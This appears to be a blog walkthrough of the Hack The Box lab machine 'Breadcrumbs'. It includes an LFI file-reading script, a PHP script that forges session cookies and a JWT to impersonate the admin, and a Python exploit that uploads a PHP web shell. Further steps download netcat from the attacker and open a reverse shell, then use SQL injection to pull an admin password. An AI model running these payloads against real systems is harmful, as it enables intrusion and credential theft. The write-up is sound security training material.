Home Hackthebox - Breadcrumbs
Post
Cancel

Hackthebox - Breadcrumbs

x00tex

Enumeration

IP-ADDR: 10.10.10.228 breadcrumbs.htb

nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp    open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, Help, JavaRMI, Kerberos, LDAPBindReq, NCP, NotesRPC, RPCCheck, SIPOptions, SMBProgNeg, SSLSessionReq, TerminalServer, WMSRequest, X11Probe: 
|_    Host '10.10.15.71' is not allowed to connect to this MariaDB server
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
  • SMB access denied without password

    1
    2
    3
    
    ❯ cme smb 10.10.10.228 -u '' -p ''
    SMB         10.10.10.228    445    BREADCRUMBS      [*] Windows 10.0 Build 19041 x64 (name:BREADCRUMBS) (domain:Breadcrumbs) (signing:False) (SMBv1:False)
    SMB         10.10.10.228    445    BREADCRUMBS      [-] Breadcrumbs\: STATUS_ACCESS_DENIED
    
  • Nothing found in ssl certificate.
  • sql server not allowed remote host

    1
    2
    
    ❯ mysql -h 10.10.10.228
    ERROR 1130 (HY000): Host '10.10.15.71' is not allowed to connect to this MariaDB server
    

WebApp

webapp have a search option which search book in the database.

Intercept search request in the burpsuite and found extra parameter in the search request.

Changing the method value to 1 give an interesting error.

adding book post parameter and send the request and its value reflect in the file_get_contents directory path.

Foothold

LFI

Try to include server ../includes/bookController.php file to check lfi and Get bookController.php file.

This script simply including file from filesystem if method set to 1 with parameter book and second thing is that this script including ../db/db.php

1
2
3
4
5
6
7
... [snip] ...
    require '../db/db.php';
... [snip] ...
    elseif ($_POST['method'] == 1){
        $out = file_get_contents('../books/' . $_POST['book']);
    }
... [snip] ...

Using lfi vuln read that db.php file amd get dbcreds, But remote host not allowed access to mysql server.

1
2
3
4
... [snip] ...
$user="bread";
$password="jUli901";
... [snip] ...

Get the lfi but burp out of lfi look awful so i create a simple python script. Not perfect but can do the job.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests as r
import sys

url = 'http://10.10.10.228/includes/bookController.php'


def lfi(file):
    data = {
        "title": "lfi",
        "author": "lfi",
        "method": 1,
        "book": file
    }

    rspn = r.post(url, data=data)
    cleaned = rspn.text.replace('\\r\\n', '\n').replace('\\', '')
    return cleaned


print(lfi(sys.argv[1])[1:-1])

Portal

Running Gobuster found /portal, which redirect to /portal/login.php

From that error on login page, found some usernames

Intercepting login request found same method parameter.

replacing method value to 1 return error from \portal\authController.php. Viewing the source code of that file found that passwordConf parameter used in sighup.

After reading authController.php, some things which i understand.

  1. There are two methods of login. $_POST['method'] == 1 uses username and passowrd for signup. $_POST['method'] == 0 use username and password for login and set php session cookie and jwt token.
  2. php session cookie generated manually from cookie.php file.

  • What cookie.php doing is taking username
    • Chose random number from the length of the username
    • generate key with some text and that random number’s index character from username
    • and join user name and md5sum of the key.
  1. Found jwt secret key and payload from authController.php

  • jwt only use username to generate token.
  • If we signup with new account we get php session cookie and jwt token.

From user Dashboard, get bunch of locations, but there is only one location “File management” /portal/php/files.php which redirect to index.php.

View that file source code with lfi, found that it is only accessible by user “paul”, who is the admin and this file have file upload option.

files.php also contains a javascript /assets/js/files.js, which appending .zip to uploaded file and also including /includes/fileController.php

/includes/fileController.php is checking if requested user is user “paul” or not by decoding requested session’s jwt token and session’s username. If it is equal to “paul” than upload file in /portal/uploads/ directory.

File upload to RCE

First, generate user “paul” php session id. Because of the length of the user “paul” there are 4 possible session ids and 1/16 chances of login as user “paul”.

Second, Generate jwt token for user “paul”. This is always same because there only 1 static value in the payload.

Here is php script to generate session ID and jwt token.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

/*
First run "composer require firebase/php-jwt"
*/

require **DIR** . '/vendor/autoload.php';
use Firebase\JWT\JWT;

$username = "paul";

function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);

    return $session_cookie;

}

echo makesession($username) . "\n";

$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';

$payload = array(
    "data" => array(
        "username" => $username
));

$jwt = JWT::encode($payload, $secret_key, 'HS256');
echo $jwt . "\n";

// $decoded = JWT::decode($jwt, $secret_key, array('HS256'));
// var_dump($decoded);
// echo $decoded;
?>

Loop Through all possible session IDs and when u get a positive hit, save that session IDs and jwt token in cookie storage and refresh the page.

Than upload the file, intercept the request and change the file extension and forward that request. Go to /portal/uploads/ and execute that php file.

Here’s my exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import argparse
import string
import sys
import jwt
import requests as r
import random
import hashlib

parser = argparse.ArgumentParser()
url = 'http://10.10.10.228/portal'
admin_name = 'paul'
secret = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e'
payload = {"data": {"username": admin_name}}
encoded_jwt = jwt.encode(payload, secret, algorithm="HS256")
# decoded_jwt = jwt.decode(encoded_jwt, secret, algorithms=["HS256"])
rnd_word = ''.join(random.choices(string.ascii_letters + string.digits, k=8))


def makesession(username):
    maximum = len(username) - 1
    seed = random.randint(0, maximum)
    key = "s4lTy_stR1nG_" + username[seed] + "(!528./9890"
    session_cookie = username + hashlib.md5(key.encode()).hexdigest()
    return session_cookie


def admin(admin_session):
    cookies_dict = {"PHPSESSID": admin_session, "token": encoded_jwt}
    admin_rsnp = r.get(f'{url}/index.php', cookies=cookies_dict)
    return admin_rsnp.text


def upload_file():
    loop = True
    print("[+] Brute frocing session ID")
    while loop:
        gen_session = makesession(admin_name)
        # print(gen_session)
        check_paul = admin(gen_session)
        if "<h3>Dashboard</h3>" in check_paul:
            cookies_dict = {"PHPSESSID": gen_session, "token": encoded_jwt}
            data = "-----------------------------21178199893857990766125057944\r\nContent-Disposition: form-data; " \
                   f"name=\"file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php echo " \
                   f"shell_exec($_POST[\"cmd\"]);?>\r\n-----------------------------21178199893857990766125057944\r" \
                   f"\nContent-Disposition: form-data; " \
                   f"name=\"task\"\r\n\r\n{rnd_word}.php\r\n" \
                   f"-----------------------------21178199893857990766125057944--\r\n "
            headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
                       "Accept": "*/*",
                       "Accept-Language": "en-US,en;q=0.5",
                       "Accept-Encoding": "gzip, deflate",
                       "X-Requested-With": "XMLHttpRequest",
                       "Content-Type": "multipart/form-data; boundary=---------------------------21178199893857990766125057944",
                       "Content-Length": str(len(data)),
                       "Origin": "http://10.10.10.228",
                       "DNT": "1",
                       "Connection": "close",
                       "Referer": f"{url}/php/files.php"}

            upload_file = r.post(f'{url}/includes/fileController.php', headers=headers, data=data, cookies=cookies_dict,
                                 allow_redirects=True)
            print("[+] " + upload_file.text)
            print(f"Filenme: {rnd_word}")
            loop = False


def exec_file(file_name, cmd):
    post_cmd = {"cmd": cmd}
    execute = r.post(f'{url}/uploads/{file_name}.php', data=post_cmd)
    print(execute.text)


parser.add_argument('-u', action='store_true', help="upload file")
parser.add_argument('-e', action='store_true', help="execute uploaded file")
parser.add_argument("-f", help="uploaded file name without Extension")
parser.add_argument("-c", help="windows cmd Command")
args = parser.parse_args()

if  **name** == "**main**":
    try:
        if args.u:
            upload_file()
        elif args.e:
            if args.f and args.c:
                exec_file(args.f, args.c)
            else:
                print("[-] Missing argument")
        else:
            print(f"[-] Try python {sys.argv[0]} -h")
    except KeyboardInterrupt:
        print('User has exited the program')

Getting Reverse shell by uploading netcat on the nbox.

1
2
powershell IWR -uri http://10.10.15.71/nc64.exe -OutFile C:\\windows\\temp\\nc64.exe
cmd /c c:\\windows\\temp\\nc64.exe 10.10.0.4 4141 -e powershell.exe

Privesc

2 user on the box.

Found user “juliette” creds inside C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData

ssh with found creds.

Stickynotes backups

inside user “” home folder there is a todo.html in “Desktop” folder

they are talking about password in sticky-notes application.

Founding sticky-notes files C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState.

Transfer files with smb

1
2
impacket-smbserver -smb2support smb .
cp <filename> \\10.10.15.71\smb

running strings over “plum.sqlite-wal” found “development” user’s (looks like a) password

1
2
❯ strings plum.sqlite-wal| grep development | tail -n1
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g

And password work for ssh login

Now we can access to C:\Development and there is a linux binary.

Download to local machine with smb

open in ghidra, This binary connecting to local server on port 1234 and retrieving admin user password.

If we check the netstat on windows, there is a port 1234

1
TCP    127.0.0.1:1234         0.0.0.0:0              LISTENING

Forwarding port with ssh and sending same request with curl gives the admin password

1
2
3
4
5
6
7
8
9
❯ sshpass -p 'fN3)sN5Ee@g' ssh development@breadcrumbs.htb -N -L 1234:127.0.0.1:1234 -f
❯ curl 'http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords'
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
}

sql injection

After test url parameters, Found sql injection in “username” parameter.

1
2
3
4
5
6
7
8
❯ curl "http://127.0.0.1:1234/index.php?method=select&username=administrator'+OR+1=1+--+-&table=passwords"
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
}

Testing union injection.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ curl "http://127.0.0.1:1234/index.php?method=select&username=administrator'+union+select+1--+-&table=passwords"
selectarray(2) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
  [1]=>
  array(1) {
    ["aes_key"]=>
    string(1) "1"
  }
}

Get the database name.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ curl "http://127.0.0.1:1234/index.php?method=select&username=administrator'+union+select+database()--+-&table=passwords"
selectarray(2) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
  [1]=>
  array(1) {
    ["aes_key"]=>
    string(5) "bread"
  }
}

Already know the table name from url parameter: table=passwords

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ curl "http://127.0.0.1:1234/index.php?method=select&username=administrator'+union+select+password+FROM+bread.passwords--+-&table=passwords"
selectarray(2) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
  [1]=>
  array(1) {
    ["aes_key"]=>
    string(44) "H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw="
  }
}

get the key and encrypted password. Decrypt with cyberchef

ssh with administrator password p@ssw0rd!@#$9890./.

This post is licensed under CC BY 4.0 by the author.